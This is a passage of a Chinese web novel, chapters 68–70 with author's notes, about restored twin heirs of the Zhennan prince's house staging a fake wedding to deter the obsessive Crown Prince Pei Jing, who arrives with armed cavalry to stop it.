忽然,有到阴影投射在傅归宜脸上,他睁开眼,发现是他的父亲镇南王。 “怎么了,父亲?”他对自己的新身份适应良好,除了最开始两天叫人还有些别扭,后来越来越顺。 “是这样的……”镇南王局促的模样与他凶悍的长相极不相符,他假咳两声掩饰自己的慌乱,支支吾吾道:“你妹妹说你曾经是当今南陵太子裴璟的暗卫,我想问问你,她在南陵京城过得怎么样,没有受什么委屈吧?” 傅归宜直起身,露出假笑:“父亲如何有此一问?” 在傅归荑的要求下,他们在裴璟这件事上达成一致。 保留傅归宜幼时流落北蛮,为裴璟所救,而后与他一路回南陵,定朝纲,统天下的事。 傅归荑对镇南王夫妇说,她在用傅家骑术和连弩机关换得查阅京城户籍登记册的机会,最终在茫茫人海中找到傅归宜的线索。 她又在平溪猎场和诛杀北蛮余孽中立奇功,她向裴璟求到丹书铁券,以防某日自己身份暴露惹来灭族之祸。 镇南王叹了口气,“你妹妹向来是有十分委屈,最多只说三分的。” 提到女儿,他的眼里充满怜爱和愧疚,丝毫没有外面传言的剽悍之气:“虽然她没说,但我感觉她好像不一样了,故而有此一问?” 傅归宜其实在一年前调查傅归荑时就顺带调查了镇南王夫妇,但当时只道他们未免对自己的儿子过于小心。 南北战争期间,作为他们唯一的儿子,几乎没有出现在战场上,即便出现也是在大军后方,镇南王从不让儿子冲锋陷阵,获取军功。 他对外皆称傅归宜天生孱弱,连他擅弓这件事也从不提。 这一点引起当时还是暗卫首领秦平归的注意,没有一个父亲会这样溺爱儿子,况且镇南王看上去也不像个昏庸的父亲。 他查出真相后一切都有了解释。 傅归宜眼眸微闪,语气轻松:“她在南陵皇宫过得如鱼得水,太子殿下看重,与世子们也相处融洽,大家都很喜欢她。” 他还顺便告诉镇南王,傅归荑将自己的学习笔记分享给其余世子们的事迹。 “最后那群世子们一人给了她一大袋银子,”傅归宜笑道:“妹妹很受欢迎,好多人想跟她做亲家,都在问‘傅世子的妹妹’有没有婚配?” 镇南王神情骄傲,在听见有人想娶宝贝女儿时立刻变脸:“阿荑自然是好的,那群腌臜泼猴谁也配不上。” 傅归宜深以为然。 镇南王又与傅归宜聊了点其他闲杂的事,他不问傅归宜从前过得苦不苦,更没有露出同情之色,更没有说什么以后爹会好好补偿他的话。 他们像朋友一般聊北蛮有什么风景,聊南陵又开了什么花,聊苍云九州好玩好吃的地方,聊镇南王以后要带傅归宜去夜猎,冬泳。 傅归宜的心感受到从未有过的平静幸福。 他不再是刀尖舔血,行走在暗夜的毒蛇,也不是在危机四伏的北蛮皇宫里挣扎求生的秦平归。 仿佛他从未离开苍云九州,离开他的家。 最后镇南王把藩王令牌和印信都给了傅归宜,理所应当道:“阿荑说你很有本事,你现在做回了世子,那么就要担起镇南王府这个担子。” 镇南王一脸郑重地望着傅归宜:“我老了,如今是你们年轻人的天下,我相信你可以做好的,若是有什么处理不了的再来找我,爹为你撑腰!” 他拍了拍傅归宜的右肩,有种托付一切的沉重感。 傅归宜垂眸看着手里沉甸甸的两样东西,冷笑一声:“父亲,你其实就是不想干活,不必拿妹妹当借口。” 镇南王被看穿自己的小心思,恼羞成怒骂了句:“不孝子,就知道气你老子,跟小时候一模一样!” 傅归宜笑出了声,最后也没把东西塞回去。 “父亲,”傅归宜叫住终于能当甩手掌柜的镇南王,他问:“您和母亲从来没有怀疑过我的身份吗?” 镇南王脚步一顿,转头看着傅归宜,他眼神锐利,语气意味深长:“你是阿荑带回来的,她说是,你不是也得是。” 蓦地,他的眼神变得柔软,像雄狮在看自己骄傲的后代:“更何况,我的孩子我怎么会认不出。” 傅归宜等镇南王走后,握住手中能号令苍云九州的信物,笑出了泪。 心里最后一点忐忑彻底消散。 偶有夜深人静时,傅归宜躺在床上胡思乱想,万一他们认错了怎么办,傅归荑仅凭一个信物怎么就能断定他就是傅归宜。 不可否认,一想到自己有可能不是傅归宜时,他的心恐慌不已。 他甚至在某一瞬间生出了与裴璟同样的心思,杀了真正的傅归宜,取代他的地位。 然而他到底没有裴璟那样狠的心,他看到傅归荑为了找哥哥付出的一切辛劳,不愿意她真心错付,故而在今日将萦绕堵在心口的问题问了出来。 他已经准备好接受镇南王的质问,甚至做好他们认错人的准备。 自己曾经拥有过温馨的家,美好的家人,已经足够他回味一生。 他会做回秦平归,用余生去帮她寻找真正的傅归宜,同时守护她不会被裴璟再次胁迫。 他真的是傅归宜,真好。 另一厢,王妃拿着一大匣子首饰走到傅归荑的房间。 她已经搬回自己的闺房,原本的住处物归原主。 “阿宜、不,阿荑。“王妃笑叹一声:“瞧我这记性,都忘记你们已经换回身份了。” 傅归荑走到房门口迎她,顺手接过东西放到一旁。 “不妨事,我也不习惯,母亲叫错也是人之常情。”傅归荑善解人意打趣道:“前几日有下人叫世子,我还以为叫我,穿着裙子就往马厩走,闹了个大笑话。” 王妃握住傅归荑的手,眼眶泛红:“我像做梦一样,你哥哥还活着,他回来了。” 傅归荑反手搭在母亲的手背上轻拍,安抚道:“母亲莫哭,一家人团圆该高兴才是。” “你说的对,”王妃擦了眼角的泪,话音一转:“你从前不用这些珠钗步摇,现在恢复女儿身,我替你准备了些。” 傅归荑道谢,打开一看都是做工精巧又不失名贵的首饰,她在东宫里用的都是极致的好东西,母亲给的不逊色于大内所制。 她心里暖暖的,母亲定是费了不少心思才寻来,看样子非一日之功。 王妃拿起一只缠枝金蝶的珠钗往傅归荑头上簪,忽地夸了句:“你这单螺髻梳得不错。” 傅归荑嘴角一僵,继而若无其事道:“南陵的女子平日爱梳成这种样式,看着看着就会了。” 王妃不疑有她,笑道:“我们阿荑真厉害,天生就会打扮自己。” 傅归荑笑而不语。 王妃仿佛要将这么多年傅归荑扮成男儿的遗憾一次性弥补个够,一整天都在她房里教她如何梳妆打扮。 面对早就学会的东西,傅归荑乐于藏拙,成全母亲的兴趣。 她心里清楚,母亲是想弥补她这么多年来受的苦。 晚膳时,王妃带着自己忙活一下午的作品走到饭厅。 “好看。”镇南王是个大老粗,直观地表达了对自己夫人的赞赏:“王妃有眼光,挑的衣服首饰都极配我们的掌上明珠。” 傅归宜跟在裴璟身边耳濡目染,文绉绉地夸了句:“九州有佳人,绝世而独立。” 王妃暗自白了眼自己的丈夫,夸道:“还是阿宜有文采。” 镇南王瞪了儿子一眼,意思是就你会装。 傅归宜假装没看见,目光一直停留在傅归荑身上。 白绫袖衫配了套纯色天青色抹胸襦裙,腰间绑了条石榴红细带,掐出细细的柳腰,行走间衣袂飘然,清丽绝尘。 头发简单梳了个高髻,斜插金钗,上面的镂空雕花蝴蝶栩栩如生,随她的动作轻轻扇动翅膀,像活过来一样。 他的妹妹鲜艳明媚,正是最好的年纪,比他这些年见过的所有女人都好看。 傅归荑被看得害羞,面上不显,耳根子悄悄烧了起来。 傅归宜最先注意到她的窘态,连忙起身请母亲入座,傅归荑跟着坐在旁边。 一家人和和美美的吃了顿饭。 饭后,镇南王有些发愁,一晃眼女儿都已经长大到可以嫁人的年纪了。 他原本想将阿荑嫁给邓意,好歹是自己看着长大的孩子,品行端正,知恩图报,又与女儿从小一起长大,情谊甚笃。 最重要的是邓意早已无亲无故,他是当年傅归荑从北蛮人手里救下的,一定不会也不敢欺她负她。 但是自己的宝贝女儿好不容易才恢复身份,他不想这么早便宜别的男人,入赘的也不行。 镇南王最后决定选择性忘记这茬事,然而他不提,傅归荑先问了。 “我回来这么多天了,怎么没看见阿意?” 镇南王心想,女大不中留。 不过如果阿荑真的这么想嫁给邓意也不是不行,反正成亲后也住在镇南王府,他是决计不同意分家的。 王妃看出他的心思也不说破,回答傅归荑道:“阿意发现你骗他回来,气得在府里待不住。你父亲就让他代为巡视苍云九州各部,现在应该接到你回来的消息,说不定正往回赶的路上。” 傅归荑闻言后不想在这个话题纠缠,省得父亲母亲察觉端倪,等邓意回来后她再亲自跟他解释,也好叫他帮自己打掩护。 她已经从哥哥口中得知了他调换信件的事情,现如今要赶紧想个办法好好安抚邓意。 傅归荑知道,即便她什么也不做,邓意也不会怪她。 但就像她说过的那样,在自己心里,邓意早已成为她不可割舍的家人之一,她从未把他当做奴仆。 傅归宜在旁边默默坐着,在听到邓意代父亲巡视各部后眼里精光一闪。 镇南王夫妇果然早有打算让邓意入赘,否则不会给他这样大的权利。 想到这个叫邓意的男人,傅归宜心生一计。 算了算时间,裴璟再怎么沉浸在悲痛中也该发现端倪了,想要他打消从此以后再也不骚扰傅归荑,还得下一剂猛药才行。 * 相比起其乐融融的苍云九州镇南王府,南陵东宫内一片冰天雪地的肃杀。 那日季明雪离开后,他说的话一直萦绕在裴璟脑海中,久久不散。 若傅归荑真的没死,还能从他布下的天罗地网中逃脱,唯一能做到这一点的就是秦平归。 裴璟执果索因,瞬间发现了蛛丝马迹。 改动东宫的巡逻时间和暗哨位置,好心提点季明雪京畿布防。 前者可以让他将尸体偷运进来,后者可以让他摸清京城及其周边的守卫。 但是为什么秦平归要这么做? 他明知道傅归荑对自己的重要性,居然还敢冒险帮她假死脱身,仅仅欣赏是绝不可能做到如此地步的。 要么就是傅归荑捏住了秦平归致命的把柄,逼迫他就范。 裴璟下意识排除这个可能性,且不说傅归荑并不是拿捏人的性格,秦平归是吃素的? 除非,他们之间还有不可告人的秘密。 秘密。 裴璟脑海里似乎抓到了什么东西,他迅速过了一遍傅归荑死前那段时间的异常,以及同时秦平归又在做什么。 西厢房的火! “不可能……”裴璟脸色血色尽失,颤颤巍巍站起身,旋即握拳用力锤上书桌,笔架上的笔纷纷掉落一地。 傅归宜。 秦平归是傅归宜。 猜到这个真相的瞬间,裴璟脸色变得极为难看,他紧闭双眼试图推翻自己荒诞的结论。 然而过往的种种一切都指向这个结果。 再次睁眼时,眼底幽深一片,脸颊上的肌肉在隐隐颤抖。 他们兄妹二人真是。 好得很。 秦平归给赵清的回信恰好传回。 作者有话说: 裴璟:靠,被耍了! 傅归宜:他终于智商正常了。 看看小可爱中有没有福尔摩斯,分析出男主是怎么猜到的。 第69章 成亲 你敢上轿,孤当场射杀他。 镇南王府。 “不行, 我不同意!”傅归荑冷下脸,十分抗拒傅归宜的提议:“裴璟会杀了阿意的。” 傅归宜早料到她会拒绝,提出另一个方案:“若你不同意让邓意来做这个假新郎, 我再找一个也无妨。” 傅归荑摇头:“无论是谁,都有可能性命不保。” 哥哥想要她假装成亲, 杜绝裴璟要娶她的念想。傅归荑觉得这法子实在是太过冒险, 且不说她不想牵扯无关之人, 裴璟也绝不是那种遵守世俗礼法的良善君子。 她怕反倒害了一条无辜的性命。 “不如,我走吧。”傅归荑眼底坚决:“躲起来, 躲个十年八年,他会忘记我的。” 傅归宜急切道:“不行!咱们好不容易一家团圆,我怎么可能看着我们再一次分离。” “阿荑, 我不想你整天活得提心吊胆的,我要你堂堂正正地活在世人眼里。你不再是镇南王世子, 是镇南王的嫡小姐。” 傅归荑眼眸微动, 若是可以,她怎么会不想与家人相守。 她最大的愿望就是一家人平平安安地过日子。 傅归宜看出他妹妹态度松动, 继续加了一把火:“我向你保证, 假新郎绝对性命无碍。我有一块丹书铁券, 保下他绰绰有余。” 傅归荑眼眸微张,表情动容。 这玩意有多珍贵,多难得她心里清楚,哥哥用十年的生死一线换来的东西, 竟然轻易为她用了出去,只为换一个能与家人在一起的机会。 “我也有。”傅归荑舍不得他用。 “你的在父亲面前过了明路, 不好动。”傅归宜考虑得很周全:“我会私下去找裴璟, 他这人虽然心狠手辣, 更谈不上谦谦君子,但唯有一点值得称赞,他是守诺之人。” 傅归荑微怔,原来哥哥一直记得要帮她瞒住父母,自己与裴璟的关系。 心里蓦地热意上涌,冲至鼻尖,喉头尝到了些酸意。 哥哥真好。 傅归荑面不改色,嗓音却略有几分哑:“我去问问邓意,若是他愿意,一切听从哥哥安排。” 傅归宜眉眼一弯,掩藏住眸中一闪而过的凶光。 邓意,他只能同意。 傅归宜思来想去,他是最好的人选,邓意本身知道傅归荑的真实身份,又与她青梅竹马一起长大,绝对不会被裴璟收买或者威胁。 两人日久生情,傅归荑会嫁给他顺理成章,况且镇南王夫妇也乐见此事。 所有人都同意,所有人都觉得理所应当。 傅归宜非常了解裴璟,能挡住他的从来不是什么世俗礼法,而是傅归荑本身。 只有他认为傅归荑是真心想嫁给邓意,再加上其他的约束,裴璟才有可能放手。 至于邓意本人的意愿,傅归宜有一百种方法让他心甘情愿地做这件事,他从来也不是什么好人。 他和裴璟一样,都是为了目的不择手段之人。 只是傅归宜没想到,邓意居然答应得这么爽快。 “阿意,你要考虑清楚。虽然哥哥说你不会有性命危险,但难保裴璟没有后手,对你……”傅归荑劝邓意三思,她甚至希望他拒绝。 她与邓意从小一起长大,他从一定程度上弥补了自己对哥哥的渴望。 邓意眼神坚定:“世子、不,是小姐,你不用再劝我,为了你我什么都愿意做的。” 傅归荑感动得眼尾泛红,张开柔嫩的唇瓣喃喃道:“阿意……” 傅归宜受不了地假咳一声,看向邓意的目光暗含警告:“是假成亲,怎么搞得跟真的一样。” 邓意眼皮一压,装作没听见。 傅归荑的泪意瞬间消散,登时闹了个大红脸,羞恼地看着自己的哥哥。 他的话怎么好像在说自己很想成亲似的。 “那我们要什么时候成亲。”邓意打破尴尬的氛围,出声问。 傅归宜眉头一挑,“不急,看戏的人还没来,咱们先把台子搭好。” * 南陵皇宫。 裴璟打开秦平归传回来的信冷笑着。 下一个更好。 他这是明晃晃地宣战。 若不是自己已经发现端倪,恐怕还要被他这句话弄得一头雾水。 裴璟抬头望向西面,此时正值黄昏,落日余晖透过隔窗照在他的脸上,半明半暗,双眸里闪动着择人而噬的凶光。 赵清悚然一惊,秦大人的信里究竟写了什么,惹得太子殿下大动肝火。 “天黑了。”裴璟幽幽叹了一声。 往日他最害怕天黑,天一黑他就要回到空旷冷寂的房间里,守着永远不会再有回应的罐子。 他不回去,怕傅归荑觉得孤单。 他回去了,孤单的人变成了他。 裴璟闭上眼掩面仰头靠在盘龙雕花的红木椅上,深吸一口气。 半晌,他猛地睁开双目,同时直立上半身,不疾不徐寒声道:“传季明雪,点齐一千追云骑,明日一早随孤离京。” 赵清啊了一声,惶然无措问:“去、去哪里?” 裴璟站起身,神色淡淡不辨喜怒,绕过书桌往外走。 “苍云九州,镇南王府。” 季明雪骑在马上,茫然地跟在面容冷峻的裴璟旁边。 他昨夜接到急令,勒令他带齐人马,每个人都配上威力最强的连弩,只等城门一开便远赴西南。 “太子殿下,”季明雪忍不住好奇问:“咱们是去哪里?” 他没有听说哪里有战事,况且他们这一千人急行而出,没有辎重粮草,亦没有斥候步兵,领头人仅有太子和他。 平日里与太子殿下形影不离的赵清不在,他环顾四周,也没有看见暗卫的影子。 “去迎亲。” 裴璟嘴角紧抿,目光沉沉,视线如同簇簇烈火,又似锵锵寒冰。 扬手一挥鞭,破开清晨雾。 季明雪仓皇跟在后面,脸上大惊失色。 这架势哪里是迎亲,说是屠城更妥当些。 一千人的队伍有序排成一条银线,犹如一把锋利的箭,直插苍云九州而去。 日光熹微,月色姣姣,寒星闪烁,暮雨潇潇,大雪飞扬。 无论什么都不能阻止裴璟和他身后的追云骑前进的步伐。 马蹄嗒嗒,连绵不绝。 * “什么,这么急?”镇南王吹胡子瞪眼地看着跪在他面前的邓意,嘴里骂骂咧咧:“她才恢复身份不到一个月,你们就要成亲?!” 邓意小鸡啄米般点头:“请王爷成全,我一定会好好对大小姐,绝不敢辜负她。” 镇安王捂住剧烈起伏的胸口,一时没缓过神,这也太突然了,总觉得像是在遮掩什么事似的。 “我要想一想,”镇南王口气很差:“你先出去。” 另一厢,王妃也很诧异。 “怎么忽然想嫁给邓意?”她比自家夫君更懂小女儿家的情思,这么多年来阿荑分明只把邓意当作亲人,完全看不出有什么男女之情。 当初去南陵皇宫前,镇南王本想与阿荑挑明,若是找不回阿宜便让邓意入赘,他百年后将爵位封地传给他们的孩子。 王妃按下镇南王的心思,她的女儿本就为了镇南王府委屈了这么多年,现如今还要赔上自己的婚事,她怎么可能同意。 两人无法达成一致意见,最后怕夫人的镇安王只敢隐晦地试探了下邓意的口风。 他也存了私心,若是邓意对女儿有意,这次南陵之行必定会尽心尽力地护住傅归荑。 “因为……因为阿意很好。”傅归荑一脸认真:“他陪我冒险深入南陵皇宫,还为了帮我找哥哥弹尽力竭,我生病的时候也是他不眠不休地照顾我,在我找哥哥快要绝望的时候也是阿意一直鼓励我……” 王妃伸出两指轻压傅归荑的唇,阻止她继续往下说:“阿意是我们从小看着长大的孩子,他好不好我心里有数,我问的是你嫁给他,是因为爱他还是别的什么原因?” 傅归荑望着母亲澄澈洞悉人心的眼睛,嘴里那句“因为爱”卡在喉咙里。 世人只知道当初裴璟发动对北蛮的全面攻击时,镇南王第一个响应,率先投诚,故而在战后论功行赏赢得了最丰厚的土地,羡慕他眼光好。 殊不知这背后最大的推动力便是她的母亲。当年她极力游说父亲加入南陵,父亲听从母亲建议主动与裴璟见面,一番长谈后决定帮他攻打北蛮。 傅归荑不想欺骗母亲,垂眸含糊道:“我是真心想嫁给阿意的。” 王妃知道自己的女儿看上去不声不响,好像什么都不在乎,实则十分有自己的主意,她决定要做的事情谁也劝不了。 当年女扮男装当傅归宜便是如此。 “好,只要你不是被迫的,我都随你。” 傅归荑眼眸酸涩,抬眼怔怔看着镇南王妃,怔怔道:“母亲……” 她的母亲永远都不会说任何责怪她的话,当年她以为是一种无声的冷漠敷衍,如今才惊觉是她包容的爱。 “怎么红眼了,”王妃抱住傅归荑,故意打趣她:“我发现你从南陵后回来变了很多。” “变了?”傅归荑抽了抽鼻子,不解地问。 “变得会表露真实的情绪。”王妃心疼地抚上她的后脊:“从前你无论是摔倒了,还是受伤了,从来不肯露出一丝脆弱。脸上永远是没有什么表情的,冷冷清清的,也不知道你到底是高兴还是不高兴,像隔了一层纱似的。” “我有时候都分不清,你到底是扮做你哥哥,还是你真的认为自己就是他。有段时间我和你父亲吓得不行,又不敢跟你挑明。” 傅归荑心里一紧,身体僵了片刻,她把头搭在王妃的肩头,不知想到了什么,轻笑一声:“母亲,我现在很清楚我是谁,不用担心。” 王妃在傅归荑靠过来的时候,心软成一团棉絮。 别人家的小孩生来就会向父母撒娇,她的女儿从小格外懂事,从来不哭不闹,更别说会提什么要求。 连傅归宜小时候还会在挨打的时候躲到她身后寻求庇护,傅归荑却总是安安静静地呆在一旁,像是刻意要被人忽略似的。 她的眸中好似对这个世界毫无探索的欲望,四五岁的孩子,是最好动的年纪,傅归荑像是知道自己身体不好一样,永远都乖巧地呆在帐篷里。 有一次为了躲避北蛮人,急急忙忙地拔营迁徙,冬夜天黑得厉害,看不清三尺之外的人影。 傅归荑落水时,谁也没发现。 普通小孩落马定然会发出尖叫哭喊,而她的女儿落入水中却不吱一声,若不是儿子通过双生的感应发现异常,他们恐怕连她的尸骨都找不回。 她像是故意的。 念及过往之事,王妃一阵后怕。 “你想做什么,就去做。”王妃嗓音柔软,语气却坚定无比:“我和你父亲,还有你哥哥,都是你的后盾。” “谢谢母亲。”傅归荑蹭了蹭母亲的肩头,悄悄擦干溢出的热泪。 月色晦暗,星子低垂。 傅归宜夤夜来敲邓意的房门,但见他神色不卑不亢,身上还穿着白日衣衫,并未沐浴更衣。 傅归宜走进房间,发现圆桌上有两盏茶,看邓意的眼神意味深长。 他料到自己会来找他? 是个聪明人,难怪镇南王夫妇挑选他作妹妹的夫婿。 “世子深夜到访,不知有何吩咐。”邓意对傅归宜完全是对陌生人的态度。 傅归宜也不在意,他只是来警告他不要入戏太深,假戏真做。 邓意被戳破了心思,恼羞成怒道:“别以为我不知道你的身份,你跟南陵太子是一伙的。” 他说道“南陵太子”四个字时目眦欲裂,唇角几乎咬出血来,其中的恨意与恼意怎么也掩盖不住。 那日听闻南陵太子对傅归荑所做的一切事情,邓意只觉得天地崩塌。他没有想到在自己看不见的地方竟然让他守护多年的人遭遇这种事。 回忆起每次傅归荑回长定宫时总是笑着说自己一切都好,邓意就恨不得扇自己两个耳光。 为什么他从来没有发觉到她的异常,每次她又是抱着怎样的心情来跟自己报平安的。 邓意心疼自责,更有一种无力挫败之感。 这么多年来,傅归荑遇到事情第一时间总想着自己解决,她从没想过依靠他,更不会对他吐露半点委屈。 好不容易这一次,傅归荑愿意开口寻求他的帮助,邓意怎么可能不答应。 不可否认,他确实也存了假戏真做的心思,反正名分在那里,往后的日子还长,他们怎么就不能成为真正的夫妻。 更何况,傅归荑没有喜欢的人,那为什么不能喜欢他? 他发誓,自己一定会把傅归荑捧在手心里,帮她慢慢走出阴影,让她接受自己。 邓意觉着这个刚找回来的世子未免管得太多,他与傅归荑从小长大,有谁能比自己更了解她? 傅归宜眼眸半眯,透出危险的光:“你什么意思?” 这里是镇南王府,邓意生活了十几年的地方,他一点也不怵傅归宜寒凉的眼神,冷嗤道:“我在南陵皇宫受训时,看见他们对你很恭敬,连南陵太子身边的贴身太监都要敬你三分。想必你的地位不低,却眼睁睁看着南陵太子强迫欺负她,你配做她哥哥么?” 傅归宜胸口一窒,唇角抿成绷紧的弦。 这是他这辈子最后悔的事,助纣为虐,伤害他拼命想保护的宝贝妹妹。 邓意看出他的悔恨,依旧不饶他,冷冷道:“你知道她为了找你有多努力吗?她是个很怕苦的人,但她为了让自己好起来,这么大一碗的药喝下去连眉头都不皱。” 他的声音哽咽起来:“药碗比她的头还大,最严重的时候,她甚至尝不出其他的味道,连吃糖都是苦的滋味。” 邓意不禁潸然泪下。 那天小傅归荑好奇问他,为什么给自己拿了一颗坏掉的糖。 然后她像是察觉到什么,顷刻间改口笑着说太甜了。 邓意永远记得那日她明媚动人的笑容,苦得他痛彻心扉。 “她为了像你,为了不让人说镇南王世子傅归宜是个娘娘腔,人还没有马高的时候就爬上去,摔下马也不说,晚上不声不响地擦药。” “幸好老天有眼,赐她射箭的天赋,堵住其他人的嘴。” 傅归宜的嘴里腾起血的味道,双手成拳,指尖刺破掌心,却不及他心脏千万分之一的疼。 “你不配。”邓意擦了眼角的泪,嗓音嘶哑。 “她从未在我面前落泪,唯一一次便是来告诉我,你死了。” 傅归宜双目微赤,不发一语地离开。 转身瞬间,两行清泪终是忍不住溢出眼眶,沿着冰冷的面具滑落。 他仰头望向夜空,月光糊成一片。 “谁?”傅归荑敏锐地听见有人靠近她的房间,立刻起身。 “是我。”傅归宜靠在门前,阻止她下床:“夜里凉,你别动。” “哥哥有什么事?”傅归荑披了件薄衫,匆匆开门:“是哪里住得不舒服?” 傅归荑怕傅归宜近乡情怯,不好开口。 “没有。”傅归宜喉咙像吞了猎刀般刺痛,垂眸不想让傅归荑看见红肿的双眼,艰涩道:“就是忽然想看看你。” 傅归荑狐疑地打量傅归宜,猝不及防地弯下腰,仰头看向傅归宜。 “哥哥,你怎么……”哭了。 傅归宜毫无征兆用力抱住傅归荑,头抵在她的右肩上,不住地颤抖。 他的心又痛又恨,替傅归荑痛,替傅归荑恨。 邓意今晚说的每一个字都变成一幅幅画印在他的脑海里,心痛她孱弱无助地艰辛成长,千里迢迢孤身一人远赴南陵寻他。 恨自己有眼不识珠,做了裴璟的刽子手,伤了他曾经要保护一生的人。 “怪哥哥没用,没能早点认出你,让你吃了这么多苦。” 傅归宜压抑住哭腔,“我以生命起誓,往后余生,绝对叫你再受一点委屈,绝没有人可以让你受一点委屈。” 傅归荑松了口气,她还以为有人怀疑哥哥的身份,亦或者他住得不习惯。 “好啊。”傅归荑的手轻拍傅归宜的背安抚道:“以后哥哥要保护我。” “我……” “你们两在干吗!”镇南王指着傅归宜大喊:“臭小子你懂不懂男女授受不亲,你妹妹长大了,怎么能像以前一样动不动就搂搂抱抱。” 镇南王今晚上听见夫人说女儿抱了她一下,感动极了。 他心里酸得不行,阿荑从来没有主动抱过他,小时候总是他主动的。 一时想不开便出门转悠,不知不觉就转到儿子的房间外,忽然想起女儿已经不住这了,又转到她的闺房。 “半夜不睡觉,让你来吵你妹妹,你给老子回去!”镇安王凶神恶煞地强行扯开傅归宜,对上傅归荑时霎时变脸,老父亲般地语重心长道:“阿荑,以后晚上不要随便给人开门,你哥哥也不行。” 傅归荑还想帮哥哥解释一下,结果傅归宜立刻反手擒住镇南王,把人拖走,根本不给她开口的机会。 哥哥大概是,不好意思了。 傅归荑低笑一声,转身回房。 十日后,镇南王嫡女要嫁人的消息以迅雷不及掩耳之势席卷苍云九州,连北蛮之前的皇城,南陵京城都有所耳闻。 无他,这场婚礼的排场实在是太大。 镇南王一扫低调,请帖下发四海八荒,还特地送了一份去南陵皇宫。 据说镇南王为了弥补女儿多年养在别处的愧疚,准备了足足十里嫁妆,恨不得把半个镇南王府陪进去。 他还包下苍云九州最大的连锁酒楼,大摆三天三夜的流水席,务必要让所有人知道镇南王对嫡小姐的重视。 “这会不会太夸张了,”傅归荑看了眼最近的账本,瞠目咋舌:“本来就是做做样子,未免铺张浪费了些。” 傅家虽然不穷,但这样巨额的花费还是让她有些过意不去。 “不这样,裴璟怎么会相信?”傅归宜看出她心疼银子,哈哈大笑几声:“妹妹你莫要忘记,哥哥我现在还是暗卫首领。前些时日裴璟才从池家弄回几座金矿银矿,我现在手里能动的钱不知几何,正好用来帮你办这场婚礼。” 傅归荑一时说不出话。 傅归宜拍桌而起:“你的婚礼,必须弄成苍云九州合并以来最大的盛事!” 大婚当日,傅归荑惴惴不安,裴璟真的能赶到吗? 傅归宜的意思是,必须要他当场承认这门婚事,以后才不会再生事端。 “你放心,他听说你成婚,便是爬也会爬来的。” 傅归宜背起傅归荑往门口走。 今日迎亲队伍要绕城内走上一大圈,最后再回到镇南王府行拜天地的礼。 前来道贺的宾客们纷纷围堵在门口,哄闹声响成一团。 他们与向来拒人千里之外的世子不大熟,何况听说他被烧伤了脸,都不敢上去与他寒暄,更不认识几乎未曾露面的这位嫡小姐,于是一股脑挤到邓意那。 平日里傅世子不爱说话,都是由这位代为传达。 他成为镇南王的乘龙快婿也是意料之中。 邓意脸上的笑容今日没断过,虽然知道是假的,可他却从来没有把这场婚事当成儿戏。 “新娘子来咯!” 门内传来喜庆的一声大喊,所有人的注意力都被吸引过去,没有人注意到转角处一队银甲骑兵急如奔雷般破开红幕,将花轿队伍团团围住。 瞬息之间,喧闹的人群迅速安静下来。 只因为这些不速之客们面容肃穆,气势十足。每个人手里都拿着一把连弩,寒光森森,可不像是来道贺的。 倏地,银甲骑兵散开道仅通一马而过的缝隙,有一披着杏黄色龙纹大氅的高大男子骑行至大门口。 他脸色骇戾,目光阴鸷盯着新娘,忽而拉满逐月弓对准新郎。 “傅归荑,你敢上轿,孤当场射杀他。” 作者有话说: 裴璟:你听听这是人话吗?用我的钱给我老婆办婚礼,新郎不是我。 天呢,我女儿才是美强惨的天花板吧。 先火葬场哥哥,不着急,一个一个来,我已经磨好刀了。 第70章 抢亲 你我之间素未相识,谈何从前? 宾客们被男子摄人的气势震得当场无言, 沸水般的喧闹顷刻间像被寒冰冻住。 他们只敢以眼神在空中无声的交流,猜测来人到底是谁居然敢在镇南王府大喜之日放肆。 有人站得远大门,近花轿, 于是便听清了那句自称的“孤”,内心极为震撼, 愣在原地。 现如今这天下间敢称“孤”的人, 唯有南陵太子裴璟。 猜出他身份的人内心震撼不已, 像被晴天霹雳击中般呆若木鸡。 镇安王府嫡女怎么会和南陵太子扯上联系,两人离着十万八千里, 更何况傅归荑从小便被送到外面休养,从不露面。 一时间,各种猜测层出不穷。 傅归荑虽然得了傅归宜的再三保证, 又做了十足的心里准备,可临到头听见裴璟的声音依然惊惧不安。 他的声音里含怒、含愤, 她还听出一丝绷不住的颤。 万一他发疯当场杀人怎么办? 傅归荑素手上抬, 正想掀开盖头阻止裴璟,被傅归宜拦下。 “原来是太子殿下。”傅归宜的声音沉静, 宛如定海神针般稳住了她的心神:“有朋自远方来, 不妨进来喝一杯喜酒。” 说罢微微侧身, 伸手做了个请的姿势。 竟然是南陵太子。 反应过来的人瞪大了眼,好奇又惊惧地看着这位覆灭北蛮的传奇人物。 他怎么亲临苍云九州,还带了一群凶神恶煞的骑兵,刚刚那句话大伙都听得清楚明白。 南陵太子不许镇南王嫡女上轿嫁人, 这是怎么一回事? 裴璟懒得理会其他人疑惑的目光,他暗沉的双眸死死盯住新娘旁边的男人。他戴着面具, 嘴角扬起熟悉的弧度, 七分敷衍, 三分讥讽。 “果然是你,傅、归、宜。” 最后三个字,裴璟目眦尽裂,几乎要生吞活剥那个他曾经最信任的心腹。 他们兄妹二人联手把他耍得团团转,看他凄风苦雨,看他肝肠寸断,如今还要在光天化日下用刀凌迟他的心。 这口气,他怎么咽的下去。 裴璟披星戴月赶路,终于在今日子时进入苍云九州领地。 沿途一路,所有人都在热烈地讨论这场盛大的婚礼和镇南王府嫡小姐。 镇南王府嫡小姐。 成亲。 每一个词裴璟都能听懂,然而连在一起不啻于在他急切如热油的胸腔猛地砸上几坨冰渣子,激得他凶性毕露。 强烈的愤懑和酸涩交织在心口,搅得他五脏六腑疼得翻滚不止。 她怎么敢嫁给别人! 奔波的一路,裴璟脑子里只剩下一个念头,等抓到她,一定要让她也体会一下心被油煎火焚的滋味。 他要她知道敢欺骗他,玩弄他,要付出怎么样惨痛的代价。 他要她从此不得踏出房门一步,谁也不能见,谁也不许看,眼里心里只能装下他。 他要她…… 裴璟想了很多,想过如何处罚秦平归的背叛,折磨敢娶傅归荑的邓意,还有帮她从自己身边逃走的每一个人。 十里红妆,百里红绸。 镇南王府所处的城邦内皆挂满了红布,贴足了囍字。 每一点红,都刺得裴璟气血上涌,恨不得亲自提剑再添上一份艳丽以示庆贺。 然而当他真正见到一身凤冠霞帔的人时,他浑身的血液翻涌不止,心头剧烈颤动,几乎要当场落泪。 他此刻想的不是如何惩罚她,他甚至连半句狠话都说不出口。 裴璟只想将她拥入怀中牢牢抓住。 感受她的体温,感受她的呼吸,感受她真实地活在世上。 老天不绝他,终究没有留他一个人孤零零地活在人世间。 然而转念之间,他压下了自己疯狂的冲动。 